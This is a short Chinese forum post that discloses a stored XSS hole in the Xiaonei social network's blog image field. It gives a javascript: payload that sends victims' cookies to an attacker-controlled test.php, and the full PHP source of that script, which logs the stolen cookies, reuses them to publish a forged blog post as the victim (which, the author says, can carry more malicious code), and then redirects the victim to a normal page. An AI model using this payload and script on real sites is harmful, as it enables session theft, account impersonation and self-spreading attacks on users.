BY Flyh4t

http://bbs.wolvez.org

校内网在发blog时对插入图片过滤不严格,存在xss漏洞.

在发blog时将插入图片URL写为如下代码即可触发:

Javascript 代码复制代码
  1. javascript:window.location.href=‘http://xxxxx/test.php?cookie=’+document.cookie

test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:

Php 代码复制代码
  1. <?php
  2. ob_start();
  3. $url‘blog.xiaonei.com’;
  4. $cookie=$_GET['cookie'];
  5. $cookie1=$cookie.“\r\n\r\n”;
  6. fputs(fopen(‘a.txt’,‘a+’),$cookie1); //cookie写入 a.txt
  7. //发一条伪造的日志,这条日志里面也可以插入恶意代码
  8. $sockfsockopen(“$url”80$errno$errstr30);
  9. if (!$sockdie(“$errstr ($errno)\n”);
  10. $data“title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=”;
  11. fwrite($sock“POST http://$url/NewEntry.do HTTP/1.1\r\n”);
  12. fwrite($sock“Accept: */*\r\n”);
  13. fwrite($sock“Referer: http://$url\r\n”);
  14. fwrite($sock“Accept-Language: zh-cn\r\n”);
  15. fwrite($sock“Content-Type: application/x-www-form-urlencoded\r\n”);
  16. fwrite($sock“Accept-Encoding: gzip, deflate\r\n”);
  17. fwrite($sock“User-Agent: Mozilla\r\n”);
  18. fwrite($sock“Host: $url\r\n”);
  19. fwrite($sock“Content-Length: ”.strlen($data).“\r\n”);
  20. fwrite($sock“Connection: Keep-Alive\r\n”);
  21. fwrite($sock“Cache-Control: no-cache\r\n”);
  22. fwrite($sock“Cookie:”.$cookie.“\r\n\r\n”);
  23. fwrite($sock$data);
  24. $headers“”;
  25. while ($strtrim(fgets($sock4096)))
  26. $headers .= “$str\n”;
  27. echo “\n”;
  28. $body“”;
  29. while (!feof($sock))
  30. $body .= fgets($sock4096);
  31. fclose($sock);
  32. //echo $body;
  33. //跳转到一个正常的日志
  34. Header(“Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx”);
  35. ob_end_flush();
  36. ?>

相关文章

本文还暂无回复

添加回复

支持 Ctrl+Enter 快速提交